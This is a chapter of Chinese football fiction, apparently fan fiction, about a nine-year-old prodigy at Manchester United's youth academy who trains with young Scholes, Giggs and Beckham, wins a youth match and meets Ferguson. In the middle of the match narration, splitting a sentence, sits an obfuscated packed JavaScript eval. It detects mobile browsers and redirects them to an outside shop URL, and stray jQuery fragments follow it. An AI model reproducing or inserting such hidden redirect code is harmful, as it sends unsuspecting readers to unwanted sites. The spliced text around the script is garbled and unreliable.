时间藏在卡灵顿清晨的雾气里，不知不觉就溜走了两年。


    塞巴斯蒂安·格林格拉斯九岁了。


    九岁的孩子应该是什么样？在曼彻斯特的街头，这个年纪的男孩们可能还在为漫画书和糖果打架。但在克莱夫青训基地，九岁的塞斯已经有了自己的更衣柜——位置在U12梯队更衣室的角落，紧挨着保罗·斯科尔斯。


    “早，保罗。”


    “早，塞斯。”


    每天早上七点一刻，这样的对话都会准时上演。


    塞斯会先到，把训练服叠得整整齐齐，然后帮斯科尔斯把散落一地的护腿板和绷带收好。斯科尔斯总是睡眼惺忪，眼镜歪在鼻梁上，但一踏上训练场，那双眼睛就会变得锐利如鹰。


    “今天练什么？”斯科尔斯绑着鞋带问。


    “听说是小场攻防转换，”塞斯正在往水瓶上贴名字标签，“哈里森教练说要加强一脚出球。”


    更衣室的门被砰地撞开。


    “快快快！要迟到了！”瑞恩·吉格斯风一样冲进来，黑发还滴着水，显然是刚冲完澡，“加里那家伙又把闹钟按掉了！”


    话音未落，加里·内维尔和尼基·巴特一前一后冲进来，两人边跑边套训练衫。


    “不是我的错！我弟弟菲利普把闹钟藏起来了！”加里气喘吁吁。


    “借口。”巴特咧嘴笑，露出缺了一颗的门牙——上周末比赛撞的。


    更衣室瞬间热闹起来。大卫·贝克汉姆最后一个进来，他今天换了新发型，发胶抹得一丝不苟。


    “怎么样？”贝克汉姆转了个圈。


    “像个马桶刷。”吉格斯毫不留情。


    “滚！”


    塞斯看着这群比他大四五岁的男孩打闹，嘴角带着淡淡的笑。


    两年时间，他从那个需要证明自己的“小不点”，变成了这个集体里自然而然的一份子。不是因为他们接纳了他，而是因为他用每一天的训练，每一次传球，证明了自己属于这里。


    “塞斯，”加里突然转头看他，“你今天跟U12练还是U14？”


    “U14，”塞斯说，“上午专项技术，下午跟你们合练战术。”


    更衣室安静了一秒。


    “U14？”巴特吹了声口哨，“那群家伙可不好对付，平均比你高一个头。”


    “哈里森教练安排的。”塞斯平静地说，好像只是被安排去多上一节数学课。


    吉格斯走过来，用力揉了揉塞斯的金发——现在这已经成了他的习惯动作。“别怕，小天才。他们要敢欺负你，报我名字。”


    “他们会更想欺负我的。”塞斯实话实说。


    众人大笑。


    上午九点，U14训练场。


    塞斯站在一群十三四岁的少年中间，确实显得格外娇小。U14的教练是布莱恩·基德，前曼联球员，以严格著称。


    “格林格拉斯。”基德点名。


    “到，教练。”


    “听说你昨天在U12的训练赛里，完成了十三次关键传球？”


    “是的，教练。”


    “那在这里不算数，”基德环视全场，“U14的节奏快百分之三十，对抗强百分之五十。跟得上就跟，跟不上——”


    他没说完，但意思很清楚。


    第一个训练项目是传接球三角跑位。


    三人一组，在限定区域内一脚出球，同时不断轮转换位。塞斯被分到和两个高个子中锋一组，那两人交换了个眼神——显然没把这个小不点放在眼里。


    训练开始。


    第一个循环顺利，塞斯的传球精准到位。第二个循环，两个中锋开始加速，传球力度也加大了。塞斯接球时明显被震得后退半步，但他马上调整，把球送到了正确的位置。


    第三个循环，其中一个中锋故意传了个半高球，球速很快，直奔塞斯胸口。


    这是个下马威。


    场边的基德眯起了眼睛。


    塞斯没有用胸停——那会失去节奏。他在球到来的瞬间侧身，用大腿内侧轻轻一垫，球听话地落下，同时他左脚已经抬起——


    不是传球。


    是一记二十码外的凌空抽射。


    球像炮弹一样飞向球门，打在横梁下沿弹入网窝。守门员甚至没来得及反应。


    训练场突然安静。


    塞斯收回脚，看向那个传半高球的中锋：“这个力度可以吗？还是需要再用力点？”


    那中锋张了张嘴，没发出声音。


    基德在场边笑了。他想起昨天和弗格森的谈话——


    “布莱恩，那孩子该往上走了。”


    “亚历克斯，他才九岁。”


    “梅西多奥九岁时在干什么？在纽维尔老男孩梯队已经是核心了。”


    “但我们不是阿根廷……”


    “我们是他妈的曼联！”弗格森敲着桌子，“曼联培养天才，不问年龄，只看能力。给他上强度，但别压垮他。我要看到他的极限在哪里。”


    现在基德看到了。


    不是技术的极限——那孩子技术已经接近U16水平——是心智的极限。面对挑衅，他没有退缩，没有告状，而是用最足球的方式回应。


    漂亮。


    “继续！”基德吹响哨子，“格林格拉斯，你负责指挥轮转！”


    接下来的训练，塞斯成了三角中的核心。他的指令简洁清晰：“汤姆左移三码”“詹姆斯回撤接应”“下一传给后点”。两个中锋从最初的抵触，到后来的配合，再到最后完全听从调度——只用了二十分钟。


    训练结束时，那个传半高球的中锋走到塞斯面前。


    “我叫本。”他伸出手，“踢得不错。”


    塞斯握了握手：“塞斯。你的跑位很好，但启动早了半秒，所以总越位。”


    本愣住了：“你怎么知道？”


    “我关注了你们上周的比赛，”塞斯说，“你越位了四次。”


    本的脸红了：“教练没说过……”


    “因为他觉得是边裁的问题，”塞斯背起包，“但如果你晚半秒启动，那四次都是单刀。”


    说完他转身离开，留下本站在原地发呆。


    远处的主楼办公室里，弗格森和基德站在窗前，看着塞斯小小的身影走向食堂。


    “你怎么看？”弗格森问。


    “怪胎，”基德直言不讳，“完全不像九岁孩子。技术、视野、战术理解——至少是U16水平。但最吓人的是他的冷静。刚才本挑衅他，我以为他要哭，或者至少会慌张。结果他直接来了个世界波。”


    “然后呢？”


    “然后他开始指挥训练，把那两个大个子安排得明明白白。现在本看他的眼神，像看上帝。”


    弗格森笑了，那是满意的笑：“埃里克说他学战术像复印机，看一遍就能复刻。你觉得呢？”


    “不是复印机，”基德摇头，“是处理器。他能吸收信息，然后根据场上情况实时调整。今天训练里他做了三次临场变动，每一次都让训练效率提升。”


    弗格森沉默了一会，目光追随着那个走进食堂的金发身影。


    “下午让他跟U12合练战术，”他终于开口，“但位置往前推，打前腰。我要看看他在实战压力下的创造力。”


    “前腰？他才九岁，亚历克斯……”


    “马拉多纳十六岁就在阿根廷国家队踢前腰了。”


    “我们不是培养马拉多纳……”


    “为什么不是？”弗格森转过头，眼神锐利，“曼联为什么不能有自己的马拉多纳？或者更好——我们自己塞巴斯蒂安·格林格拉斯。”


    下午两点，战术演练室。


    U12-U14梯队的几十个孩子共同坐成三排，盯着墙上的战术板。今天讲的是4-4-2阵型中的菱形中场站位。


    “前腰，”哈里森教练用教鞭点了点板子上的一个位置，“这个位置的关键词是什么？斯科尔斯。”


    斯科尔斯推了推眼镜：“连接中前场，创造机会。”


    “对。还有呢？吉格斯。”


    “要能摆脱防守，送出致命一传。”


    “好。还有呢？格林格拉斯。”


    所有人的目光转向塞斯。


    塞斯盯着战术板，思考了几秒，不确定道：“还要会防守？”


    更衣室里响起窃窃私语。


    “前腰防守？”


    “开玩笑吧……”


    哈里森抬手示意安静：“解释一下。”


    “如果前腰不防守，对方后腰就可以轻松组织进攻，”塞斯站起来，走到战术板前，“而且现在空间越来越小，前腰回防能帮助形成局部人数优势。最重要的是——”


    他用马克笔在对方后腰位置上画了个圈。


    “如果我是前腰，我回防时盯谁？对方的组织核心。即使不能断球，也能干扰他的传球节奏。而在我们抢回球权的那一刻——”他在前腰位置画了个箭头，“我离对方禁区最近，反击时最有威胁。”


    整个房间安静了。


    这番话完全超出了十二岁孩子的理解范畴。


    有几个孩子一脸茫然，但加里·内维尔的眼睛亮了，斯科尔斯在点头，吉格斯若有所思。


    哈里森看着塞斯，又看看战术板上的箭头，突然笑了。


    “很好，”他说，“所以今天下午的训练赛，格林格拉斯，你打前腰。但记住你的话——进攻要创造，防守要到位。能做到吗？”


    “能，教练。”


    下午的混合训练赛，对阵来访的布莱克本青训队。


    塞斯第一次穿着曼联U12的正式队服——红衫白袖，背后印着“SETH 16”。号码是吉格斯帮他挑的：“16号，和我刚进青训时一样。吉利。”


    比赛开始前，加里·内维尔作为队长把大家召集到一起。他已经有了一副小领导的模样。


    “听着，布莱克本那群家伙身体好，喜欢对抗。但我们技术更好，配合更好。”他环视队友，“按战术踢，多跑动，多传球。塞斯——”


    所有人都看向塞斯。


    “你在中路拿球时，我们会前插。相信我们的跑位。”


    塞斯点点头。


    比赛哨响。


    布莱克本果然如加里所说，开场就上强度。他们的中场是两个壮实的小坦克，一左一右夹击塞斯。前十分钟，塞斯几乎摸不到球，每次接球都会被撞得东倒西歪。


    场边，布莱克本的教练露出得意的笑。


    但曼联的孩子们没有慌。吉格斯在左路频频突破，斯科尔斯在后腰位置稳稳调度。第十五分钟，机会来了。


    斯科尔斯断球，抬头看了一眼。塞斯正被两人包夹，但斯科尔斯还是把球传了过去——不是传脚下，是传向塞斯身前两米处的空档。


    与此同时，塞斯动了。


    他没有站在原地等球，而是在斯科尔斯出脚的瞬间突然启动，从两个防守队员中间穿过。


    那两人想关门，但塞斯的速度比他们预想的快，也比他们想象的要灵活的多——他像一道红色的影子，从缝隙中钻出，刚好追上滚动的皮球。


    拿球，转身，面前是一片开阔地。


    布莱克本的后防线慌了。中卫上抢，塞斯没有硬过，而是右脚外脚背轻轻一拨——球从对方裆下穿过，同时他向左变向。


    穿裆过人！


    看台上响起了零星掌声，是几个早到的曼联球探。


    塞斯带球推进，现在他面对最后一名中卫。吉格斯在左路举手要球，但塞斯没传——他看到加里·内维尔从右路高速插上。


    但传球线路被挡住了。


    怎么办？


    时间好像变慢了。塞斯扫了一眼禁区——斯科尔斯在后点，但太远；吉格斯被盯死；加里还没到位。


    那就自己来。


    他在禁区弧顶突然减速，防守球员以为他要传球，重心微微前倾。就在这一瞬间，塞斯用左脚脚弓推了个地滚球——


    不是射门。


    球贴着草皮，以诡异的速度和旋转滚向球门。守门员已经做出扑救动作，但球在门前突然下坠，弹地一次，然后从他手边溜过。


    钻入网窝。


    1:0。


    整个克莱夫基地沸腾了。U12的替补席全跳了起来，连一贯严肃的哈里森教练都用力挥了挥拳头。


    进球后的塞斯没有疯狂庆祝，他只是转身，指向传球的斯科尔斯，然后指了指自己眼睛——意思是“我看到了你的传球”。


    斯科尔斯笑了，跑过来和他击掌。


    重新开球后，布莱克本加强了进攻。他们很快扳平比分，一次角球混战中的头球破门。1:1。


    下半场，双方陷入僵局。布莱克本用上了杀伤战术，塞斯每次拿球都会被侵犯。第六十分钟，对方一次粗野的铲球把塞斯放倒，裁判甚至没吹犯规。


    塞斯躺在地上，膝盖擦破了一大片，血渗了出来。


    队医跑进场，加里和吉格斯也围了过来。


    “没事吧？”加里问。


    “有点疼，”塞斯龇牙，笑的很勉强，“但能坚持。”


    “别硬撑，”吉格斯皱眉，“那群混蛋是故意的。”


    塞斯看了看场边，哈里森教练已经让替补热身。他又看了看记分牌——1:1，比赛还剩二十分钟。


    “扶我起来。”他说。


    重新站起来的塞斯，眼神变了。如果说之前是冷静，现在多了一丝锋利。


    接下来的比赛，他踢得更聪明。不再硬碰硬，而是用更多的无球跑动和一脚出球来规避对抗。第七十五分钟，机会终于来了。


    布莱克本压上进攻被断，曼联快速反击。球经过三次传递来到塞斯脚下，此时他刚过中场线。


    抬头。


    吉格斯在左路高速插上，但越位了半米。


    斯科尔斯在中路接应，但被两人盯防。


    加里在右路，位置最好。


    塞斯没有犹豫，一脚三十码的长传。球在空中划出优美的弧线，精准地落在加里·内维尔身前。加里停球，下底，传中——


    后点，吉格斯拍马赶到，俯身冲顶！


    2:1！


    绝杀！


    终场哨响时，曼联的孩子们抱成一团。这是他们本赛季最重要的一场胜利，对手是青训强队


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070665|195205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    布莱克本。而导演逆转的，是队里年纪最小的塞斯。


    赛后更衣室，气氛热烈。


    “塞斯，你那脚长传，怎么看到我的？”加里兴奋地问。


    “你一直在举手。”塞斯正在让队医处理膝盖的伤口，疼得龇牙咧嘴，眼泪汪汪。


    “但那球传得太准了，就像用手放过去的。”


    “练的，”塞斯简短地说，“我和大卫每天练四十分钟长传。”


    贝克汉姆在一旁点头，脸上带着骄傲：“他学得比我快。真的，我学了三个月的弧线，他一个月就掌握了。”


    吉格斯走过来，把一瓶运动饮料放在塞斯柜子上：“膝盖怎么样？”


    “没事，皮外伤。”


    “下次他们再敢铲你，”吉格斯眼神冷下来，“告诉我。”


    塞斯笑了：“告诉有用吗？”


    “没用，但我会铲回去。”


    塞斯双手撑在椅子上，看着吉格斯傻乐：“你人真好。”


    更衣室的门被推开，哈里森教练走进来。他拍了拍手，所有人都安静下来。


    “踢得很好，小伙子们。特别是战术执行——我们赛前布置的，你们都做到了。”他停顿了一下，目光落在塞斯身上，“格林格拉斯，弗格森爵士想见你。”


    更衣室瞬间安静。


    弗格森亲自召见一个九岁的青训球员？这几乎是前所未有的事。


    塞斯站起来，膝盖还包着纱布：“现在吗，教练？”


    “现在。在主楼办公室。”


    塞斯一瘸一拐地走向主楼时，心里其实有点忐忑。他见过弗格森很多次——在训练场边，在食堂，在战术课上——但从未被单独召见。


    办公室的门开着。


    “进来，孩子。”弗格森的声音从里面传来。


    塞斯走进去，发现办公室比他想象的要朴素。一张大桌子，墙上挂着曼联历届冠军的照片，窗边摆着几盆绿植。弗格森坐在桌子后面，手里拿着今天的训练报告。


    “坐。”


    塞斯在椅子上坐下，背挺得笔直。


    弗格森看了他一会儿，那目光像是要把人看穿。然后他笑了——不是平时那种严厉的笑，而是温和的，甚至带着点慈祥。


    “膝盖怎么样？”


    “还好，教练。不严重。”


    “我看过报告了，那个铲球应该给红牌。”弗格森放下报告，“但裁判没给，你也没抱怨。为什么？”


    塞斯想了想：“抱怨没用。而且比赛赢了。”


    “如果输了呢？”


    “那也没用。输了就该想下次怎么赢，不是想裁判怎么判。”


    弗格森点点头，从抽屉里拿出一个盒子，推过来。


    “打开看看。”


    塞斯打开盒子，里面是一双崭新的足球鞋——不是青训营统一发放的那种，而是专业级，皮质柔软，鞋钉精密，鞋舌上绣着小小的“S.G.”。


    “这是……”


    “你的专属装备，”弗格森说，“从今天开始，你不用再穿统一配发的了。技术组会根据你的脚型和踢球习惯，定制适合你的球鞋、护腿板，甚至训练服。”


    塞斯摸着那双鞋，一时说不出话。


    “你知道为什么吗？”弗格森问。


    “因为……我踢得好？”


    “不止，”弗格森站起来，走到窗前，背对着塞斯，“因为你证明了，你有成为特别的球员的潜质。但潜质只是开始，孩子。从潜质到伟大，这条路很长，很苦，会受伤，会被质疑，会想放弃。”


    他转过身，目光如炬。


    “我今天叫你来，不是要表扬你——虽然你确实踢得很好。我是要告诉你，从今天起，我们对你的要求会不一样。技术训练量会增加百分之三十，战术课每周加两节，体能训练会有专门的计划。你会累，会痛，会觉得自己撑不住。”


    塞斯握紧了拳头：“我能坚持。”


    “我知道你能，”弗格森走回桌前，双手撑在桌面上，俯身看着这个九岁的孩子，“但我要的不只是坚持。我要你享受它——享受训练的苦，享受比赛的难，享受那种把自己推向极限的感觉。因为只有这样，你才能真正释放你的天赋。”


    办公室里安静下来，只有墙上的钟在滴答作响。


    “塞斯，”弗格森第一次叫他的名字，“你想成为什么样的球员？”


    这个问题很大，但塞斯几乎没有思考就回答了：“最好的。”


    “哪种最好？进球最多的？助攻最多的？”


    “能帮助球队赢球的。”塞斯说，“如果球队需要我进球，我就进球。需要我助攻，我就助攻。需要我防守……我去学，我会防守。”


    弗格森笑了，这次是真正开怀的笑。


    “好，”他坐回椅子上，“记住你今天说的话。现在回去吧，明天开始新的训练计划。还有——”


    他指了指那双鞋。


    “穿上它。这是你的剑，你的盔甲。用它去战斗。”


    塞斯抱着鞋盒走出主楼时，天已经快黑了。克莱夫基地的灯光渐次亮起，训练场上还有几个孩子在加练——是贝克汉姆和吉格斯在练任意球。


    “嘿！小天才！”吉格斯看见他，招手，“弗格森爵士说什么了？”


    “给了我这个。”塞斯举起鞋盒。


    “哇哦，定制款！”贝克汉姆跑过来，眼睛发亮，“我能看看吗？”


    三人坐在场边的长椅上，贝克汉姆小心翼翼地拿出那双鞋，像鉴赏艺术品一样仔细端详。


    “皮质顶级，鞋钉是混合型的，适合你的变向习惯……这是专门设计的，塞斯。”


    “弗格森爵士说，从明天开始，我的训练计划会调整。”


    吉格斯和贝克汉姆交换了一个眼神。


    “那意味着你要更拼命了，”吉格斯说，“但别担心，我们陪你。”


    远处，食堂的灯光温暖地亮着。斯科尔斯和加里他们应该已经在吃饭了。塞斯看着身边的两个年长的师兄——一个桀骜不驯，一个追求完美——突然觉得，能在克莱夫遇见他们，大概是足球给他最好的礼物。


    “瑞恩，大卫，”他忽然开口，“如果……如果我有一天真的能为一队踢球，你们会在吗？”


    吉格斯愣了一下，然后用力搂住塞斯的肩膀。


    “废话，”他说，“我们当然在。我们会一起走上老特拉福德，一起听到七万人的欢呼。你，我，大卫，保罗，加里，尼基……我们所有人。”


    贝克汉姆也点头，眼神坚定。


    塞斯笑了，那是发自内心的，九岁孩子该有的笑容。


    夜幕彻底降临，曼彻斯特的星空第一次显得如此清晰。在克莱夫青训基地的长椅上，他们并肩坐着，聊着足球，聊着梦想，聊着那个看似遥远却又触手可及的未来。


    而在主楼的办公室里，弗格森站在窗前，看着那三个身影，嘴角带着笑意。


    他的计划开始了。


    这个叫塞巴斯蒂安·格林格拉斯的孩子，这个安静、优雅、却又无比坚韧的天才，将会成为他执教生涯中最伟大的作品。


    而这一切，才刚刚开始。